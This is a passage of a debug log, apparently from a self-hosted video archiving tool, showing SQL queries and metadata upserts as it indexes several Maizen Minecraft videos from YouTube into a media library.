s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 17:34:10.077 [debug] QUERY OK source="sources" db=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:10.078 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-23 03:28:21Z], 2] 17:34:10.079 [debug] QUERY OK source="media_items" db=0.5ms idle=1003.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "d0daeedf-f1c5-477b-bef1-601d6039469f", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", 4, "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, false, false, 2, [], 98, ~U[2026-07-23 03:28:21Z], ~U[2026-08-20 00:34:10Z], ~U[2026-08-20 00:34:10Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, 2, ~U[2026-07-23 03:28:21Z]] 17:34:10.080 [debug] QUERY OK source="sources" db=0.1ms idle=35.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:10.080 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:34:10.080 [debug] QUERY OK source="media_items" db=0.1ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [366904] 17:34:10.081 [debug] Current batch of media processed. Will check again in 1000ms 17:34:11.081 [debug] Current batch of media processed. Will check again in 1000ms 17:34:12.082 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 3658, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", "id" => "jXiB2M0bZX8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=jXiB2M0bZX8", "playlist_index" => 5, "timestamp" => 1783668694, "title" => "PRISON ESCAPE in Minecraft", "upload_date" => "20260710"} 17:34:12.083 [debug] QUERY OK source="sources" db=0.2ms idle=799.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 17:34:12.083 [debug] QUERY OK source="sources" db=0.1ms idle=800.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:12.085 [debug] QUERY OK source="media_items" db=1.5ms idle=800.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-10 07:31:34Z], 2] 17:34:12.086 [debug] QUERY OK source="media_items" db=0.4ms idle=802.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "bb790b5b-551d-4dba-8821-a432ece692fb", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", 5, "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-07-10 07:31:34Z], ~U[2026-08-20 00:34:12Z], ~U[2026-08-20 00:34:12Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, 2, ~U[2026-07-10 07:31:34Z]] 17:34:12.086 [debug] QUERY OK source="sources" db=0.2ms idle=39.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:12.087 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:34:12.087 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [310552] 17:34:12.087 [debug] Current batch of media processed. Will check again in 1000ms 17:34:13.088 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 4704, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", "id" => "2nxBCespd7c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=2nxBCespd7c", "playlist_index" => 6, "timestamp" => 1782529206, "title" => "JJ IS DEAD : The Movie", "upload_date" => "20260627"} 17:34:13.089 [debug] QUERY OK source="sources" db=0.2ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 17:34:13.089 [debug] QUERY OK source="sources" db=0.1ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:13.091 [debug] QUERY OK source="media_items" db=1.4ms idle=1002.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-27 03:00:06Z], 2] 17:34:13.092 [debug] QUERY OK source="media_items" db=0.7ms idle=1003.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "578c737d-3f5c-4290-816f-f3eca72724b0", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", 6, "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-27 03:00:06Z], ~U[2026-08-20 00:34:13Z], ~U[2026-08-20 00:34:13Z], "Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-27 03:00:06Z]] 17:34:13.092 [debug] QUERY OK source="sources" db=0.1ms idle=44.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:13.092 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:34:13.093 [debug] QUERY OK source="media_items" db=0.2ms idle=3.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [231209] 17:34:13.093 [debug] Current batch of media processed. Will check again in 1000ms 17:34:14.094 [debug] Current batch of media processed. Will check again in 1000ms 17:34:15.095 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 5211, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", "id" => "a8EKAWT99Ys", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=a8EKAWT99Ys", "playlist_index" => 7, "timestamp" => 1781924406, "title" => "MIKEY IS DEAD : The Movie", "upload_date" => "20260620"} 17:34:15.096 [debug] QUERY OK source="sources" db=0.2ms idle=812.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 17:34:15.096 [debug] QUERY OK source="sources" db=0.1ms idle=812.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:15.098 [debug] QUERY OK source="media_items" db=1.3ms idle=813.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-20 03:00:06Z], 2] 17:34:15.099 [debug] QUERY OK source="media_items" db=0.6ms idle=814.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "cdff6a82-8f43-40d2-a952-5f7a8f765462", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", 7, "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-20 03:00:06Z], ~U[2026-08-20 00:34:15Z], ~U[2026-08-20 00:34:15Z], "Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-20 03:00:06Z]] 17:34:15.099 [debug] QUERY OK source="sources" db=0.1ms idle=49.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:15.099 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:34:15.100 [debug] QUERY OK source="media_items" db=0.1ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [213214] 17:34:15.100 [debug] Current batch of media processed. Will check again in 1000ms 17:34:16.100 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 5542, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", "id" => "3RR5Sbesx6s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=3RR5Sbesx6s", "playlist_index" => 8, "timestamp" => 1781319606, "title" => "THE WORLD's STRICTEST TEST: The Movie", "upload_date" => "20260613"} 17:34:16.101 [debug] QUERY OK source="sources" db=0.2ms idle=1001.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 17:34:16.101 [debug] QUERY OK source="sources" db=0.1ms idle=1002.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:16.103 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-13 03:00:06Z], 2] 17:34:16.104 [debug] QUERY OK source="media_items" db=0.6ms idle=1003.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "9d5bdb68-5080-452a-9097-8b860c164e81", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", 8, "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-13 03:00:06Z], ~U[2026-08-20 00:34:16Z], ~U[2026-08-20 00:34:16Z], "Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: 